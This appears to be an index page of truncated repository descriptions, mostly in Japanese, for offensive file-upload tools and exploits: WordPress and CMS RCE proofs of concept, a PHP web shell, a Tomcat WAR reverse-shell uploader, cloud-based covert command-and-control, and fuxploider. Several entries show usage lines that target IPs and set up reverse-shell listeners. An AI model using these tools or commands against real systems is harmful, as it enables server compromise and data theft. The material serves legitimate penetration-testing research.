covert-control

covert-control ファイルをGoogle Drive、OneDrive、YouTube、またはTelegramにアップロードすることで、リモートからシステムを制御します。Pythonを使用してファイルとリスナーを作成します。テキストファイル、画像、音声、または動画を作成でき、コマンドは平文またはAESで暗号化して指定できます。 covert-googledrive.py - Google Driveの公開フォルダにファイルをアップロードしてシステムを制御します。 covert-onedrive.py -...

CVE-2023-25202

CVE-2023-25202: 安全でないファイルアップロードメカニズム 説明...

CVE-2019-8942

CVE-2019-8942和CVE-2019-8943：WordPress RCE（作者权限） 总览 CVE-2019-8942 是一个利用LFI漏洞结合文件上传功能以作者权限在WordPress Web服务器上执行RCE的漏洞。受影响的WordPress版本包括4.9.9之前和5.x至5.0.1之前，允许远程执行代码，因为wpattachedfile的Post Meta值可以被更改为任意字符串，例如字符串：.jpg?file.php。具备作者权限的攻击者可以通过上传包含恶意PHP代码在Exif元数据中的图片文件来执行任意代码。可利用CVE-2019-8943进行利用。...

CVE-2025-3515

CVE-2025-3515 - WordPressファイルアップロードRCE 使用方法 python3 exploit.py 概要 CVE-2025-3515 は、WordPressプラグイン「Drag and Drop Multiple File Upload for Contact Form 7」におけるファイルアップロードの脆弱性で、認証されていない攻撃者が悪意のあるファイルをアップロードし、リモートコード実行を達成することを可能にします。 プラグイン : drag-and-drop-multiple-file-upload-contact-form-7 影響を受けるバージョン :...

CVE-2023-41425-wonderCMS_RCE

CVE-2023-41425-wonderCMSRCE Wonder CMS v.3.2.0～v.3.4.2におけるクロスサイトスクリプティングの脆弱性により、リモート攻撃者がinstallModuleコンポーネントにアップロードした細工されたスクリプトを介して任意のコードを実行できる可能性があります。 教育目的のみ loginURLの知識、管理者アクセス権、または管理者にXSSリンクをクリックさせる能力が必要です。 1. リポジトリをクローンする git clone...

CVE-2021-29447-POC

CVE-2021-29447-POC 概要 このスクリプトは、Wordpressのメディアアップロード機能におけるCVE-2021-29447を悪用し、XXEを介してファイルを抽出するために必要な手順を自動化します。 使用方法 ./generatepayloads.py --help usage: generatepayloads.py -h --local-ip LOCALIP --local-port LOCALPORT --media-payload MEDIAPAYLOAD --dtd-payload DTDPAYLOAD --files-to-fetch FILESTOFETC...

exe2powershell

exe2powershell exe2powershell - モダン Windows 向けに生まれ変わった exe2bat exe2bat が exe2powershell としてモダン Windows 向けに生まれ変わりました。 exe2powershell は任意のバイナリファイル .exe を BAT ファイルに変換するために使用されます。 生成された BAT ファイルには "echo" コマンドのみが含まれ、最後に元のバイナリファイルを再作成する powershell コマンドが含まれます。...

exploit-CVE-2017-7494

Samba 4.5.9 用 SambaCry RCE エクスプロイト Samba は、SMB/CIFS ネットワーキングプロトコルのフリーソフトウェアによる再実装です。Samba は、さまざまな Microsoft Windows クライアントに対してファイルサービスおよびプリントサービスを提供し、ドメインコントローラ DC またはドメインメンバーとして Microsoft Windows Server ドメインと統合できます。バージョン 4 以降、Active Directory および Microsoft Windows NT ドメインをサポートしています。 4.5.9...

CVE-2024-0757-Exploit

CVE-2024-0757 エクスプロイト 説明 WordPress用プラグイン「Insert or Embed Articulate Content into WordPress」は、すべてのバージョン（4.3000000023 までを含む）において、zip アーカイブ内の安全でないファイルアップロードにより、任意のファイルアップロードが可能となる脆弱性があります。これにより、認証されていない攻撃者が影響を受けるサイトのサーバー上に phar ファイルを含む zip ファイルをアップロードできるようになり、リモートコード実行が可能になる可能性があります。 !IMPORTANT CVSS...

CVE-2021-40964

Tiny File Manager = 2.4.6 - リモートコード実行（認証済み） 🚨 エクスプロイトについて これは、CVE-2021-40964 の影響を受ける Tiny File Manager バージョン = 2.4.6 向けの、Bash ベースの認証済み リモートコード実行（RCE） エクスプロイトです。 このスクリプトは以下を利用します： 脆弱なアップロード検証と webroot の開示、 PHP コード実行につながる任意のファイルアップロードの脆弱性。 📌 詳細 エクスプロイトタイトル： Tiny File Manager = 2.4.6 - リモートコード実行（RCE...

fuxploider

fuxploider Fuxploider is an open source penetration testing tool that automates the process of detecting and exploiting file upload forms flaws. This tool is able to detect the file types allowed to be uploaded and is able to detect which technique will work best to upload web shells or any...

fuxploider

fuxploider Fuxploider は、ファイルアップロードフォームの欠陥の検出と悪用のプロセスを自動化するオープンソースのペネトレーションテスティングツールです。このツールは、アップロードが許可されているファイルタイプを検出し、Web サーバーに Web シェルや悪意のあるファイルをアップロードするためにどの手法が最も効果的かを判断できます。 スクリーンショット インストール 少なくとも Python 3.6 が必要です。 git clone https://github.com/almandin/fuxploider.git cd fuxploider pip3 instal...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 リバースシェルアップロード h3v0x 氏による エクスプロイト に基づいた WpDiscuz 7.0.4 用のエクスプロイト。 脆弱性を悪用し、リバース PHP シェルをアップロードします。着想は Blogger CTF から得ました。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用例:...

rome-webshell

Rome WebShell パワフルで楽しいPHP WebShell これは軽量なPHPウェブシェル で、バニラJavaScriptとCSSのみを使用し、 jQueryやBootstrapの無駄は一切ありません 。 機能 完全インタラクティブなファイルエクスプローラー 、ディレクトリのブラウズとファイルの即時ダウンロード ブラウザから直接ファイルをアップロード ペイロードをURLエンコードすることなくコマンドを実行 MD5パスワード保護 、例えばKing of The Hill中にアクセスを制限するのに便利 完全CSSアニメーション、レスポンシブ で楽しいFlatUIインターフェース...

CVE-2023-33253

CVE-2023-33253 LabCollector 6.0 から 6.15 まで、リモートコード実行が可能です 認証されたリモートの低権限ユーザーが、実行可能なPHPファイルをアップロードし、システムコマンドを実行できます。 脆弱性はメッセージ機能にあり、送信されるファイル（例：shell.jpg.php.shell）の検証が不十分であることが原因です。 Windows Server 2019 x64 でテスト済み 使用方法: python CVE-2023-33253 -t 127.0.0.1 -u user -p user PoC:...

CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Drupal 0day リモートPHPコード実行 Perl これはDrupal CMSにおける0day RCEエクスプロイトです。 サーバーにペイロードをアップロードできます。 CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 エクスプロイトの実行方法 : 1-git clone https://github.com/dr-iman/CVE-2018-7600-Drupal-0day-RCE.git 2-ActivePerl...

CVE-2024-50379

手動での悪用は面倒なので、expをでっち上げました。。 使い方： shell.jspはシェルファイル、ggsl.jspはターゲットサーバーに保存する名前/パスです。 ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp 免責事項 本ツールは正規に許可された 企業のセキュリティ構築行為のみを対象としています。本ツールの可用性をテストする必要がある場合は、ご自身で標的環境を構築してください。...

CVE-2023-50164

CVE-2023-50164 CVE-2023-50164 のスキャンユーティリティおよび PoC 注意事項 CVE-2023-50164 の悪用は環境に非常に依存します。この PoC は、スクリプトフラグを通じてユーザーが環境固有の詳細を入力することを要求することで、悪用プロセスを一般化しようと試みています。 スクリプトは、無害なファイルをアップロードし、それをユーザーが指定したファイルパスで上書きしようと試みます。スクリプトは（必然的に）ユーザーが自身のファイルパスをアップロードできるようにしますが、そのパスに書き込まれるファイルの内容は完全に無害で、単に「SUCCESSFULLY...

warsend

WARSend Apache Tomcat Manager API を使用した WAR シェルアップロード 前提条件 認証情報 Tomcat Manager への Text API アクセス $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||//// //,/...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - 通过分块上传初始化/完成顺序缺陷实现的未认证任意文件写入 CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — 通过分块上传实现的未认证任意文件写入 概念验证（PoC）漏洞利用 分块上传初始化/完成顺序缺陷 → 可预测路径暴露 → 远程代码执行 漏洞概述 字段| 详情 ---|--- CVE ID| CVE-2026-10818 受影响插件| WPForms Pro WordPress 受影响版本| 1.10.1.1 及之前的所有版本 类型| 未认证的任意文件写入 CWE|...